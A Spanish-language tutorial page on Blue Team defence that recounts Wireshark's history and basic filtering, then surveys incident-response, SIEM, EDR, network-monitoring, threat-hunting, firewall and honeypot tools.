Panel de Tecnología y soluciones informáticas
Buscar:
Protegiendo un entorno (Blue Team)

Wireshark

Introducción

A lo largo de estos cursos, hemos visto que hay herramientas que se repetirán muy a menudo. Ya que sus usos son muy frecuentes por equipos de Red Team, Blue Team, ciberdelincuentes e investigadores de seguridad. Wireshark es una de esas herramientas. Pero en los equipos de Blue Team es fundamental.

Si bien hoy en día no se puede pensar en seguridad de redes, sino tenemos una monitorización de la misma en tiempo real. La investigación tanto por un equipo de Blue Team como por un equipo de respuesta a incidentes, analistas forenses, siempre pasa por analizar el tráfico de red. Muchas veces tras la detección de un incidente es necesario analizar las trazas de red.

Es ahí cuando aparece Wireshark. 

Qué es Whireshark

A finales del año 1997, a Gerald Combs le surgió la necesidad de una herramienta para rastrear la red en busca de problemas y quería saber y aprender más sobre ellas mismas, por lo que comenzó a escribir Ethereal (el nombre con el que surgió originariamente el proyecto Wireshark) como una forma de resolver esos problemas y aparte avanzar en su carrera y metas.

Comenzó con un desarrollo costoso cuanto menos, con problemas y pausas en el mismo en torno a mitad del año 1998, con la versión 0.2.0. Tras poco empezaron a incluir parches, informes de errores y otros componentes iniciales y fue poco a poco mejor el proyecto avanzando hacia un camino prometedor y de éxito total.

Poco tiempo después ese mismo año, Gilbert Ramirez vio su potencial y se integró al proyecto y contribuyó con un disector (un plugin que permite al programa principal descomponer un paquete de datos siguiendo unos argumentos y características) de bajo nivel, así fue su comienzo.

En ese mismo año, en torno a octubre de 1998, Guy Harris buscaba algo más y mejor en lo que involucrarse que tcpview, por lo que comenzó a aplicar parches y contribuir con más disectores a Ethereal.

A finales de ese mismo año, Richard Sharpe, que se encontraba investigando y trabajando más a fondo sobre TCP/IP, vio un poco su potencial y posible futuro en esos trabajos y empezó a analizarlo para ver si era compatible con los protocolos que necesitaba. No fue así en un principio, pero comprobó que se podrían agregar fácilmente nuevos protocolos. Entonces comenzó a contribuir más disectores, parches y más funcionalidades complementarias.

La lista de colaboradores en el proyecto ha sido muy larga y extensa y cada vez ha ido a más, y casi todas comenzaron con un protocolo que necesitaban y que Wireshark no manejaba ya, así fue cada vez más grande y potente el proyecto en sí. Su método más habitual era copiar un disector existente y contribuir con más código y el existente al equipo.

En el año 2006, el proyecto cambio de aires y de nombre, comenzó a llamarse Whireshark, hasta el día de hoy.

Cómo capturar tráfico con Wireshark y analizarlo para detectar anomalías

En el año 2008, después de muchos años de desarrollo, Wireshark finalmente llegó a la versión 1.0. Después de tantos años y mucho código de por medio, esta versión fue considerada completa, al menos con las características mínimas implementadas. Su lanzamiento coincidió con la primera Conferencia de Desarrolladores y Usuarios de Wireshark, llamada Sharkfest.

En el año 2015 Wireshark lanzó su versión 2.0, que presentaba una nueva interfaz de usuario.

Whireshark tiene detrás una historia interesante y conviene mencionarla con detalles, ya era hace años un software muy conocido y lo sigue siendo aún más a día de hoy, esencial en el análisis de redes para administrador y analistas de red y para profesionales de la ciberseguridad y arrojando información capaz de solucionar problemas por medio de paquetes de la misma red.

Es un software líder desde hace años en el mundo de las redes, llevando muchos años en funcionamiento, progresando en las mismas y analizándolas. Permitiendo analizarlas en tiempo real y también por medio de importar ficheros de red, que contienen estos paquetes de información.

Para qué sirve Wireshark

Los problemas que este software es capaz de llegar a abordar van desde paquetes caídos, problemas de latencia y hasta actividad maliciosa en su red, por ejemplo, por medio de peticiones HTTP. Permite analizar la red como si viéramos una placa con un microscopio en un laboratorio por así decirlo y proporciona herramientas y comandos para filtrar y analizar con más detalles el tráfico de red, acercándose a la causa raíz del problema.

Los administradores de sistemas y de red lo usan para identificar dispositivos defectuosos que están descartando paquetes, problemas de latencia en peticiones causadas por máquinas defectuosas que enrutan el tráfico de red a cualquier lado del mundo posible y exfiltraciones de datos o incluso intento de ataque con malware o de piratería contra una organización.

Esté analizador de redes es una herramienta poderosa que requiere un conocimiento sólido de los conceptos de estas mismas. Eso se traduce para las empresas de hoy en día modernas en comprender sobre protocolos HTTP y sus servicios, la pila de TCP / IP, analizar y comprender los encabezados de los paquetes que se reciben con muchos metadatos a veces complejos, así como el enrutamiento y como se entrelazan unos a otros, el reenvío de puertos y DHCP, por ejemplo.

Características Wireshark

Podríamos escribir solo un curso nombrando las características principales y todos sus poderes y que abanico de oportunidades nos traen, pero solo las comentaremos brevemente por encima.

  • Permite seguir el rastro a los paquetes TCP stream, podemos ver todo lo relacionado con dicho paquete, el antes y el después, pudiendo aplicarles filtros personalizados a estos mismos sin perder el flujo.
  • Se puede decodificar los paquetes y exportar en formatos específicos y guardar dichos objetos.
  • Permite ver estadísticas de los paquetes capturados incluyendo un resumen, jerarquía de protocolos, conversaciones, puntos finales y gráfica de flujos entre otros.
  • Análisis fácil e informativo mediante resolución de nombres por mac, por red, etc… y reensamblaje de paquetes.
  • Cuenta con una herramienta de líneas de comandos para ejecutar funcionalidades llamada TShark, similar al terminal de linux. Entre los comandos más destacados, podemos mencionar rawshark, editcap, mergecap, text2pcap.

Wireshark: Ventajas y desventajas de uso

Whireshark siendo un software tan grande y robusto analizador de red y paquetes, es casi evidente que tiene más ventajas que desventajas, muchas más. Es lo que hace que sea un software tan usado y conocido. Cuando lo empiecen a usar se darán cuenta de todo lo que se puede llegar a hacer con él.

Entre sus ventajas más destacadas encontramos que tiene un soporte detrás de esas analíticas que saca brutal, con mucho personal a cargo de nuevas funciones, parches y solucionando errores que la comunidad detecta, eso incluye su documentación extensa y no muy laboriosa de leer y aplicar, aparte también cuenta con una comunidad enorme, que ayuda a la mínima de cambio cuando alguien necesita buscar algo muy específico en esos paquetes de red y disectores. Captura también todo tipo de paquetes al analizar la red. Muestra errores y problemas en niveles por debajo del protocolo HTTP. Guardar y restaurar los datos empaquetados capturados, en ficheros pcap.

Entre sus desventajas, que también tiene, aunque sean lo de menos importancia, cabe destacar que al analizar la red no se pueden modificar datos de los paquetes, solo mediante ficheros de red, sus pcap. Y la interfaz que usa  es poco intuitiva y se le podría mejorar y ponerla más funcional e intuitiva.

Uso práctico y sencillo de Whireshark

Mediante este ejemplo en la interfaz vamos a ver como hacer una búsqueda mediante GET para sacar solo los paquetes que nos interesan y no muchos otros que no nos aportan nada.

Podemos buscar por cierto protocolo, ya sea GET, POST o algún otro y usando el operador “and” unirlo y concatenar esa búsqueda con más parámetros, como que esos paquetes contengan en la ruta cierta cadena, como la de “user”.

Imagen 1 en Wireshark: Qué es y ejemplos de uso

O los podemos buscar para que en la url contenga “/user” que quizás nos de algo más preciso en la url, como es este caso, pero no significa que esto funcione siempre.

Imagen 2 en Wireshark: Qué es y ejemplos de uso

Al final se tratará en un fichero pcap, de hacer muchas búsquedas y rebuscar entre los paquetes, sus raw y demás información hasta obtener alguna incidencia o quizás no porque no la haya. Pero al final será un trabajo arduo, ya que un análisis de red contiene muchísima información y no es fácil detectar salvo que tengamos indicios claros, de dónde puede provenir cualquier actividad maliciosa o fuera de lugar en nuestra red.

En el siguiente enlace encontrarás la documentación de Whireshark, con todos los tipos de parámetros disponibles y todo muy detallado de cómo usarlo, como comentamos antes, sin documentación es muy buena.

Otras herramientas que debes considerar

The Hive

Ninguna lista de herramientas del equipo azul estaría completa sin esta.

alertas_MISP_TheHive

TheHive Project está aquí con su plataforma de respuesta a incidentes de seguridad que permite la investigación colaborativa entre el equipo, agregando cientos de miles de elementos observables como IP, emails, etc a cada investigación que se pueden crear a partir de su motor de plantilla, que puede también ser personalizado. Cuando se usa junto con su Cortex, tendrá la capacidad de analizar numerosos elementos observables a la vez usando más de cien analizadores, y contener y erradicar malware o incidentes de seguridad.

TheHive, Cortex y MISP son tres productos de código abierto y gratuitos que pueden ayudarnos a combatir las amenazas y mantener a raya a los “malos”.

TheHive, como SIRP, nos permite investigar incidentes de seguridad de forma rápida y colaborativa. Varios analistas pueden trabajar simultáneamente en tareas y casos. Si bien los casos se pueden crear desde cero, TheHive puede recibir alertas de diferentes fuentes gracias a los alimentadores de alertas que consumen eventos de seguridad generados por múltiples fuentes y los alimentan a TheHive utilizando la biblioteca TheHive4py mencionada. TheHive también se puede sincronizar con una o varias instancias MISP para recibir eventos nuevos y actualizados que aparecerán en el panel de alertas con todas las otras alertas generadas por otras fuentes. Posteriormente, los analistas pueden obtener una vista previa de las nuevas alertas para decidir si se debe actuar o no. Si es así, se pueden transformar en casos de investigación utilizando plantillas.

Para analizar los observables recopilados de una investigación y/o importados de un evento MISP, TheHive puede confiar en uno o varios motores de análisis Cortex. Cortex es otro producto independiente, cuyo único propósito es permitirnos analizar observables a escala gracias a su gran cantidad de analizadores, módulos de expansión MISP y cualquier analizador desarrollado. Cortex tiene una API REST que se puede utilizar para potenciar otros productos de seguridad, como software de “análisis”, SIRP alternativo o MISP.

Respuesta Rápida GRR

GRR Rapid Response es un marco de código abierto de respuesta a incidentes centrado en análisis forense remoto en vivo. Este cliente de Python está instalado en los sistemas de destino, con una infraestructura que puede administrar y comunicarse con los clientes.

Fue diseñado para ejecutarse a escala, por lo que los equipos azules pueden recopilar datos de una gran cantidad de máquinas. GRR permite soporte para clientes Linux, OS X y WIndows, y tiene capacidades de búsqueda y descarga de archivos y el registro de Windows, entre muchas otras características.

filesystem-overview.png

MozDef

La plataforma de defensa empresarial de Mozilla, mejor conocida como MozDef , lo ayudará a automatizar la respuesta a incidentes de seguridad y proporciona una plataforma para que los equipos azules descubran y respondan a incidentes de seguridad de manera rápida y eficiente.

Proporciona métricas para incidentes de seguridad, facilita la colaboración en tiempo real en equipos azules y, como afirman, va más allá de las soluciones SIEM tradicionales en la automatización de procesos de respuesta a incidentes.

Gestión y análisis de registros

Otra pieza importante del rompecabezas de la metodología del equipo azul es la gestión y el análisis de registros. Los datos recopilados a través de diferentes fuentes y herramientas deben analizarse y correlacionarse entre diferentes tecnologías para que se descubran los problemas en el rendimiento de las aplicaciones y los programas y los problemas de seguridad.

Con la gestión de registros, los equipos azules recopilan, formatean, agregan y analizan datos de registro de diferentes aplicaciones, servicios y hosts y los relacionan con los requisitos comerciales o los problemas estratégicos de una organización.

La gestión de registros es a menudo un problema en muchas organizaciones debido al gran volumen de registros recopilados que conduce a una gran cantidad de falsos positivos y  que consumen mucho tiempo de técnicos que normalmente tienen otras cosas que atender.  Sin mencionar que no es necesario recopilar o almacenar todos los registros. Esta es la razón por la que es deseable tener un arsenal de herramientas para la gestión y el análisis de registros, de modo que los equipos azules puedan identificar fácilmente cualquier problema de seguridad. La buena noticia es que hemos encontrado las herramientas adecuadas para exactamente eso:

  • splunk: Splunk es una de las mejores empresas de ciberseguridad que existen. Ofrece servicios de gestión de registros y proporciona software que fusiona e indexa todos y cada uno de los datos de registros y máquinas. También le brinda la capacidad de recopilar, almacenar, indexar, buscar, correlacionar, analizar e informar sobre cualquier dato generado por máquina para detectar y solucionar problemas de seguridad.
  • Loggly: Loggly es un software de análisis y administración de registros basado en la nube que brinda la capacidad de recopilar registros de su infraestructura, rastrear su actividad y analizar tendencias. Loggly es fácil de usar y es un servicio administrado, por lo que no solo está dedicado a los equipos azules: el servicio al cliente y la administración de productos también pueden encontrar un gran uso en él, para recopilar y analizar de una gran cantidad de fuentes y monitorear proactivamente los registros, y realizar diagnósticos y solucionar problemas con él.
  • Fluentd: Fluentd es un recopilador de datos de código abierto para una capa de registro unificada. Con Fluentd podrá unificar la recopilación y el uso de datos para mejorar su comprensión de los datos. Con más de 500 complementos que conectan Fluentd con muchas fuentes y salidas, se beneficiará de un mejor uso informado de sus registros.
  • Sumo Logic: Bastante conocido, Sumo Logic es un servicio de análisis de seguridad y gestión de registros. Basado en la nube, proporciona información en tiempo real al aprovechar los datos generados por máquinas, de forma similar a Splunk. Los análisis en tiempo real ayudan a identificar y resolver posibles ataques cibernéticos, y sus algoritmos de aprendizaje automático lo alertarán en caso de un evento de seguridad significativo.

Emulación de un atacante

Si bien es importante tanto para los Red Teams como para los Blue Teams, la emulación de un atacante es una técnica defensiva en sí misma.

Tomando prestada la metodología de “estar en el lugar de los atacantes” de los Red Teams, los Blue Teams usan ejercicios y herramientas que simulan un ataque cibernético sofisticado de la manera más realista posible, para comprender la superficie de ataque de una organización y descubrir cualquier agujero de seguridad y vulnerabilidad en sus defensas.

La emulación adversaria proporciona a los Blue Teams datos procesables que les ayudan a descubrir y resolver vulnerabilidades y problemas de seguridad. También les permite evaluar la efectividad de los controles de seguridad, las soluciones y sus capacidades para detectar y prevenir comportamientos sospechosos y atacantes maliciosos. Veamos algunos de estos simuladores de atacantes.

  • Simulador APT: APTSimulator es, una herramienta de emulación de un ataque dirigido, pero que está diseñada teniendo en cuenta la simplicidad. La instalación y puesta en marcha lleva aproximadamente un minuto, y cualquiera puede leerlo, modificarlo o ampliarlo. Este script por lotes de Windows utiliza diferentes herramientas y archivos de salida para hacer que un sistema parezca comprometido.
  • DumpeterFire: Ahora, este es un nombre memorable. DumpsterFire es una herramienta multiplataforma diseñada para crear eventos de seguridad repetibles y distribuidos. Los equipos azules pueden personalizar cadenas de eventos y simular escenarios de ciberseguridad realistas para solidificar su mapeo de alertas.
  • Caldera: Construido sobre el marco MITRE ATT&CK™Caldera es un marco de emulación de atacante automatizado que le permite ejecutar fácilmente ejercicios de simulación e incumplimiento, e incluso puede ayudar con la respuesta automatizada a incidentes. Si bien a menudo se usa como una herramienta del equipo rojo, como mencionamos, muchas herramientas ofensivas también se pueden utilizar para los equipos azules. Caldera no es una excepción.

Kit de herramientas de capacitación para los Blue Teams

Blue Team Training Toolkit merece una introducción y una explicación. BT3, como se le llama comúnmente, es un software de capacitación en seguridad defensiva que le permite crear escenarios de ataque realistas con IoC y técnicas de evasión específicas.

Se puede crear sesiones de capacitación con patrones de comportamiento y tráfico asociados con malware, sin tener que ejecutar malware real y peligroso.

SIEM

Security Information and Event Management, o SIEM para abreviar, es un software que proporciona análisis en tiempo real de eventos de seguridad mediante la recopilación de datos de diferentes fuentes y realiza análisis basados ​​en criterios específicos para detectar actividades sospechosas y ataques cibernéticos.

El proceso de las herramientas SIEM comienza con la recopilación de datos de dispositivos de red, servidores y muchas otras fuentes, normalizando y correlacionando los datos recopilados para que los datos puedan analizarse más a fondo para descubrir amenazas y brindar a las organizaciones visibilidad sobre incidentes y violaciones de seguridad.

Las soluciones y herramientas SIEM han sido imprescindibles para cualquier ecosistema de seguridad, pero a menudo no se usan correctamente (los equipos tienen dificultades para utilizar los datos SIEM para la respuesta a incidentes) o simplemente son demasiado costosas. Esta es la razón por la que, al igual que con toda esta colección de las mejores herramientas del equipo azul, nos enfocamos en soluciones SIEM de código abierto:

  • OSSIM: AlienVault nos trae su solución SIEM, llamada OSSIM. Uno de los SIEM de código abierto más utilizados, OSSIM proporciona recopilación y correlación de eventos. Algunas de sus capacidades incluyen el descubrimiento de activos, la evaluación de vulnerabilidades y la detección de intrusos, entre otras.
  • Elastic Stack: Elastic Stack es un grupo de productos de Elastic que toma datos de cualquier fuente y busca, analiza y visualiza esos datos en tiempo real. Anteriormente conocido como ELK Stack, significa Elasticsearch, Kibana, Beats y Logstash. Han descrito su servicio en unas pocas palabras simples: Analizar, enriquecer, anonimizar y más.
  • SIEMonster: SIEMonster es una solución de software de monitoreo de seguridad asequible y apreciada que es, de hecho, una colección de las mejores herramientas de seguridad de código abierto disponibles, junto con sus propios desarrollos.
  • OSSEC: A juzgar por las afirmaciones de los creadores, OSSEC es el sistema de detección de intrusos en host más utilizado del mundo, o HIDS. De código abierto y gratuito, OSSEC realiza análisis de registros, detección de rootkits, monitoreo del registro de Windows y mucho más. Detecta y alerta sobre modificaciones no autorizadas del sistema de archivos y comportamiento malicioso, lo que lo convierte en una gran adición a su conjunto de herramientas de Blue Teams.

Detección y respuesta de terminales

Endpoint Detection and Response, o EDR para abreviar, son herramientas y soluciones que ayudan a los Blue Teams y a los investigadores de seguridad a recopilar, documentar y almacenar datos provenientes de las actividades de los puntos finales para descubrir, analizar y mitigar las amenazas que se encuentran en dichos puntos finales.

Las herramientas EDR son una especie de novatos en los conjuntos de herramientas de ciberseguridad de los profesionales. A menudo se comparan con las soluciones avanzadas de protección contra amenazas en función de sus capacidades para detectar y proteger a las organizaciones contra las amenazas cibernéticas que tienen como objetivo penetrar los puntos finales y poner en peligro la seguridad de la organización.

A menudo utilizadas por los equipos SOC , las soluciones EDR también son excelentes adiciones a los kits de herramientas del Blue Teams, y estas son nuestras mejores opciones:

  • Ettercap: Ettercap es bien conocido como una herramienta de seguridad de red de código abierto para ataques de intermediarios en LAN. Ettercap presenta detección de conexiones en vivo, filtrado de contenido y admite la disección activa y pasiva de muchos protocolos. Escrito en C, también incluye muchas funciones para el análisis de redes y hosts, como el filtrado de paquetes según el origen y el destino de IP, la dirección MAC, el uso de envenenamiento ARP para rastrear una LAN conmutada entre dos hosts y mucho más.
  • Wazuh: Wazuh es una plataforma de código abierto para la detección de amenazas, el control de la integridad y la respuesta a incidentes. Le permite recopilar, agregar, indexar y analizar datos y ofrece detección de intrusiones, detección de vulnerabilidades, seguridad en la nube y contenedores, todo en una sola plataforma.
  • Event Tracker: Para un producto dos en uno, tenemos EventTracker , que es tanto SIEM como EDR. EventTracker proporciona una arquitectura de seguridad adaptable que integra predicción, protección, detección y respuesta. Proporciona todas estas capacidades en una herramienta unificada, lo que la hace rentable y práctica para hacer que la respuesta a incidentes y la detección y respuesta de puntos finales sean un proceso continuo.

Supervisión de la seguridad de la red

Las herramientas de monitoreo de seguridad de la red monitorean la actividad, el tráfico y los dispositivos de su red para detectar y descubrir amenazas cibernéticas, vulnerabilidades de seguridad o simplemente cualquier actividad sospechosa. Estas herramientas recopilan y analizan indicadores de compromiso y brindan datos procesables y alertas a los analistas de seguridad y los equipos azules para responder adecuadamente a los incidentes de seguridad.

Estas herramientas ayudan a los Blue Teams a obtener información en tiempo real sobre las actividades en la red y monitorear y alertar continuamente antes de que ocurra un daño real, lo que les brinda la capacidad de remediar los problemas de seguridad de manera oportuna.

Existen muchas herramientas de monitoreo de seguridad de red diferentes, con diferentes capacidades. Aquí hay una combinación de plataformas y soluciones con diferentes funcionalidades:

  • Zeek: Anteriormente conocido como BroZeek es una plataforma de monitoreo de seguridad de red de código abierto que se encuentra en una plataforma de hardware, software, virtual o en la nube y observa el tráfico de la red, interpreta lo que ve y crea registros de transacciones, contenido de archivos y resultados totalmente personalizados, lo cual es adecuado para el análisis manual.
  • Wireshark: Una de las herramientas de monitoreo de seguridad de red más utilizadas, Wireshark es un nombre familiar. Wireshark realiza un análisis profundo de cientos de protocolos, captura en vivo y análisis fuera de línea, análisis de VoIP y captura archivos comprimidos con gzip y los descomprime. Los datos en vivo se pueden leer desde Ethernet, IEEE 802.11, PPP/HDLC, ATM, Bluetooth, USB, Token Ring, Frame Relay, FDDI y otros.
  • RITA: Real Intelligence Threat Analysis, o RITA , es un marco de código abierto para el análisis del tráfico de red. Es compatible con la detección de balizas, la detección de túneles DNS y la verificación de listas negras.
  • Maltrail: Maltrail, un sistema de detección de tráfico malicioso, es una herramienta de código abierto que utiliza listas negras disponibles públicamente de rastros maliciosos y sospechosos, así como rastros estáticos compilados a partir de varios informes AV y listas personalizadas definidas por el usuario. Además, utiliza mecanismos heurísticos avanzados para ayudar a identificar amenazas de red desconocidas.

Detección de amenazas

La paciencia, el pensamiento crítico y la creatividad son los tres pilares de la detección eficaz de amenazas, o caza de amenazas, como también se le llama. La caza de amenazas es un proceso complicado, y con todos sus aspectos técnicos, uno que no se puede explicar fácilmente. ¡Estén atentos a una publicación completa dedicada a esto!

Mencionamos anteriormente que en ciberseguridad, prepararse para un ciberataque es la mejor postura posible, sin reflexionar sobre si sucederá. La detección de amenazas comienza exactamente en ese punto.

Al emplear técnicas y métodos tanto manuales como automatizados, los cazadores de amenazas son una valiosa adición a los equipos azules, ya que les permiten descubrir posibles amenazas en curso que ya han penetrado las defensas y los sistemas de seguridad. Dado que la búsqueda de amenazas es un tema amplio que cubre muchas metodologías y herramientas, nos hemos centrado en aquellas herramientas que encontramos fáciles de usar e integrar, para ayudar de manera efectiva en la detección de amenazas:

  • Caza de amenazas: ThreatHunting es una aplicación de Splunk que contiene numerosos paneles y más de cien informes que lo ayudarán a habilitar los indicadores de búsqueda, lo que le permitirá investigarlos más a fondo.
  • Yara: “La navaja suiza de coincidencia de patrones para investigadores de malware”, Yara es también para los equipos azules. Esta herramienta lo ayudará a identificar y clasificar muestras de malware y crear descripciones de familias de malware, donde cada descripción consiste en un conjunto de cadenas y expresiones booleanas que determinan su lógica.
  • Helk: Hunting ELK, o HELK para abreviar, es una plataforma de búsqueda de amenazas de código abierto que proporciona capacidades de análisis avanzadas, como lenguaje declarativo SQL, transmisión estructurada, aprendizaje automático a través de portátiles Jupyter y Apache Spark sobre ELK (ahora Elastic) Stack. Esta herramienta ayuda a mejorar las pruebas y el desarrollo de casos de uso de búsqueda de amenazas y habilita capacidades de ciencia de datos.

Defensa de la red

Una red es el objetivo favorito de un atacante y, a menudo, el principal objetivo de los ataques cibernéticos. Proteger la red con soluciones de defensa de red avanzadas y administradas es uno de los primeros pasos a seguir para fortalecer las defensas de seguridad y la postura de una organización.

Hay muchas herramientas y soluciones diferentes para ayudar en la defensa de la red: firewalls, sistemas de detección de intrusos (IDS), firewalls de aplicaciones web (WAF), herramientas de prevención de pérdida de datos (DLP), controles de aplicaciones, bloqueadores de spam, etc.

Para esta lista, hemos decidido centrarnos en los cortafuegos, los cortafuegos del sistema, los WAF y los IDS:

  • ModSecurity: ModSecurity , o ModSec, es un firewall de aplicaciones web de código abierto que ofrece control de acceso y monitoreo de seguridad de aplicaciones en tiempo real, registro completo de tráfico HTTP, evaluación de seguridad pasiva continua, fortalecimiento de aplicaciones web y más.
  • WAF: Otra plataforma de seguridad que ofrece una serie de diferentes funcionalidades de seguridad, Wallarm , además de ser un WAF, puede realizar análisis de vulnerabilidades de aplicaciones, verificación de amenazas y pruebas de seguridad de aplicaciones. Esta plataforma también brinda protección automatizada contra los 10 principales riesgos de seguridad de aplicaciones web de OWASP , DDoS de aplicaciones, apropiación de cuentas y otras amenazas de seguridad de aplicaciones.
  • SNORTSNORT, un sistema de detección y prevención de intrusiones en la red, es una herramienta de código abierto que ofrece análisis de tráfico en tiempo real y registro de paquetes. SNORT es uno de los sistemas de prevención de intrusiones más utilizados y ofrece análisis de protocolos, búsqueda de contenido y comparación.
  • pfSense: Un cortafuegos de sistema de código abierto muy apreciado, pfSense se basa en el sistema operativo FreeBSD. Su edición comunitaria gratuita ofrece no solo un firewall, sino también una tabla de estado, equilibrio de carga del servidor, traductor de direcciones de red, una VPN y mucho más.
  • CSF: ConfigServer Security & Firewall, o CSF , es otro cortafuegos del sistema, o más específicamente, un script de configuración de cortafuegos, así como una aplicación de detección de inicio de sesión/intrusión para servidores Linux que configura el cortafuegos de un servidor para denegar el acceso público a los servicios y solo permite ciertas conexiones. , como consultar correos electrónicos o cargar sitios web. Este conjunto de secuencias de comandos proporciona una secuencia de comandos de firewall SPI iptables y un proceso Daemon que verifica las fallas de autenticación de inicio de sesión que complementan el CSF.

Conclusión

Navegar a través de las muchas herramientas, soluciones y recursos apropiados para los Blue Teams y su operación puede ser desmoralizante. Pensar en las horas de trabajo que lleva implementar todos esos sistemas.

En España y sobre todo en organizaciones pequeñas, poder contar con un Blue Teams es costoso y un lujo que pocas organizaciones se pueden costear. Pero es algo que contribuye de forma proactiva a la seguridad de la organización.

El punto que aprovechan los cibercriminales es la ausencia de un Blue Teams en muchas de las organizaciones que atacan. Tenerlo y conformarlo debería ser una de las prioridades de cualquier dirección.

Herramientas de Blue Team

Tendiendo los señuelos

Dicen que el tema no es si van a intentar atacar la organización. Sino cuándo. Y cuando toque, será mejor que estéis preparad@s.

Estas en el equipo Azul (Blue Team), tu misión, simplemente proteger a la organización. De un ataque que no sabes cuándo será, ni de dónde vendrá.

Así que lejos de limpiar la casa para darle la bienvenida a nuestros invitados, es la hora de tender los señuelos, esos sensores que de alguna forma nos avisará si algo está ocurriendo en el entorno que estamos protegiendo. Por ejemplo la red de la organización.

En este laboratorio trabajaremos con una serie de herramientas que te ayudarán a proteger tu entorno.

Honeypots

Un honeypot es un sistema informático o aplicación señuelo que tiene como objetivo atraer a actores maliciosos que intentan atacar sistemas informáticos. Una vez que el atacante cae en la trampa del señuelo, el señuelo está ahí para permitir que los administradores recopilen datos valiosos sobre el atacante, el tipo de ataque e incluso identificar al atacante. Con los honeypots, los equipos azules pueden identificar amenazas emergentes y generar inteligencia de amenazas que se puede usar para tomar decisiones mejor informadas sobre las técnicas preventivas que la organización emplea contra las amenazas de red.

Hay diferentes honeypots, con diferentes complejidades:

  • Honeypot sencillo.
  • Honeypot de alta interacción.
  • Honeypot de interacción media.
  • Honeypot de baja interacción.

Además, podemos reconocer varias tecnologías de señuelos diferentes en uso, como el señuelo SSH, HTTPS, base de datos, servidor, cliente, malware, correo electrónico no deseado, IoT y otros.

En la siguiente lista, hemos incluido una buena combinación de diferentes tipos de honeypots para satisfacer las necesidades de las diferentes organizaciones. 

Kippo

Kippo es un conocido honeypot SSH de interacción media escrito en Python. Esta herramienta está diseñada para detectar y registrar ataques de fuerza bruta, así como el historial completo de shell realizado por un atacante.

Kippo ofrece un sistema de archivos falso que puede agregar y eliminar archivos y, entre otras características, también puede ofrecer contenido falso a los atacantes, realizar algunos trucos con SSH que finge conectarse en algún lugar y cosas por el estilo. También está disponible kippo_detect, que le permite detectar la presencia de un kippo honeypot.

Glastopf

Glastopf es un honeypot basado en HTTP escrito en Python. Glastopf tiene la capacidad de emular diferentes tipos de vulnerabilidades, con emulaciones de ataques que incluyen inclusión de archivos locales y remotos, inyección de SQL, inyección de HTML a través de una solicitud POST, entre otros.

ElásticoMiel

ElasticHoney es, como su nombre lo indica, un honeypot diseñado para este tipo de base de datos: Elasticsearch. Es un honeypot simple pero efectivo con la capacidad de capturar solicitudes maliciosas que intentan explotar las vulnerabilidades de RCE en Elasticsearch. Escrito en GO, ElasticHoney ofrece binarios para la mayoría de las plataformas y está disponible para Windows y Linux.

Artillery

Artillery no es solo un honeypot, sino también una herramienta de monitoreo y un sistema de alerta. Con Artillery, puedes configurar los puertos más comunes y más escaneados, y poner en la lista negra a cualquiera que intente conectarse a ellos.

Esta herramienta también puede monitorear los registros SSH en busca de intentos de fuerza bruta y le enviará un correo electrónico cuando ocurra un ataque. Está disponible tanto para Windows como para Linux, aunque es posible que algunas funciones no estén disponibles para los usuarios de Windows.

El objetivo principal de todos los honeypots es identificar ataques emergentes contra diferentes tipos de software y recopilar informes para analizar y generar datos de inteligencia, que luego se utilizarán para crear técnicas de prevención contra amenazas de red.

Hay dos tipos diferentes de honeypots:

  • Honeypot de investigación: este tipo de señuelo es utilizada por desarrolladores, administradores de sistemas y gerentes de blue teams que trabajan en instituciones como universidades, colegios, escuelas y otras asociaciones relacionadas con la investigación del cibercrimen.
  • Honeypot de producción: Es utilizado por instituciones, empresas y corporaciones privadas y públicas para investigar el comportamiento y las técnicas de los piratas informáticos que buscan atacar las redes en Internet.

Esencialmente, un honeypot te permite obtener datos valiosos para que se pueda trabajar en diferentes estrategias de reducción de la superficie de ataque y sobre todo permite conocer al atacante y obtener estadísticas de por ejemplo, desde dónde se ataca, que puertos utilizan para atacar la infraestructura, técnicas y metodologías.

¿Cómo funciona un honeypot?

Un honeypot es un sistema de señuelos o trampas. Estos sistemas de captura a menudo se configuran en una VM o servidor en la nube conectado a una red, pero aislados y estrictamente monitoreados por equipos de sistemas y redes. Para ayudarles a hacerse notar por los malos, los honeypots están diseñados para ser intencionalmente vulnerables, con debilidades que un atacante detectará e intentará explotar.

Estas debilidades pueden ser parte de un agujero de seguridad dentro de una aplicación o vulnerabilidades del sistema, como puertos abiertos innecesarios, versiones de software desactualizadas, una contraseña débil o un kernel antiguo sin parches por ejemplo. 

Una vez que el atacante ha encontrado su objetivo vulnerable, intentará lanzar un ataque y escalar los privilegios hasta que pueda obtener cierto control de la caja o la aplicación.

Lo que la mayoría de ellos no sabe es que un administrador del honeypot está observando cada uno de sus pasos con atención, recopilando datos del atacante que realmente ayudarán a fortalecer las políticas de seguridad actuales. El administrador también puede informar el incidente a las autoridades legales de inmediato, que es lo que suele suceder con las redes corporativas de alto nivel.

Ejemplos de Honeypots

Algunos ingenieros de sistemas tienden a clasificar los honeypots según el software objetivo que intentan proteger o exponer. Entonces, si bien la lista de honeypots podría ser extensa, aquí enumeramos algunos de los más populares:

  • Honeypot de spam: también conocido como honeypot de spam, este honeypot se creó específicamente para atrapar a los spammers antes de que lleguen a las casillas de correo electrónico legítimas. Estos a menudo tienen repetidores abiertos para ser atacados y trabajan en estrecha colaboración con las listas RBL para bloquear el tráfico malicioso.
  • Honeypot de malware: este tipo de honeypot se crea para simular aplicaciones, API y sistemas vulnerables con el fin de recibir ataques de malware. Los datos que luego se recopilan se utilizarán más tarde para el reconocimiento de patrones de malware, para ayudar a crear detectores de malware efectivos.
  • Honeypot de base de datos: las bases de datos son un objetivo común de los atacantes web y, al configurar un honeypot de base de datos, puede ver y aprender diferentes técnicas de ataque, como inyección SQL, abuso de privilegios, explotación de servicios SQL y mucho más.
  • Spider honeypot: este tipo de honeypot funciona mediante la creación de páginas web falsas y enlaces a los que solo pueden acceder los rastreadores web, no los humanos. Una vez que el rastreador accede al honeypot, se detecta junto con sus encabezados para un análisis posterior, generalmente para ayudar a bloquear bots maliciosos y rastreadores de redes publicitarias.

La mayoría de los honeypots funcionan como trampas que distraen a los atacantes de los datos críticos alojados en las redes reales. Otro punto en común es que casi todos los intentos de conexión a un honeypot pueden tratarse como hostiles, ya que hay pocas razones, si es que hay alguna, que puedan motivar a un usuario legítimo a conectarse con este tipo de sistemas.

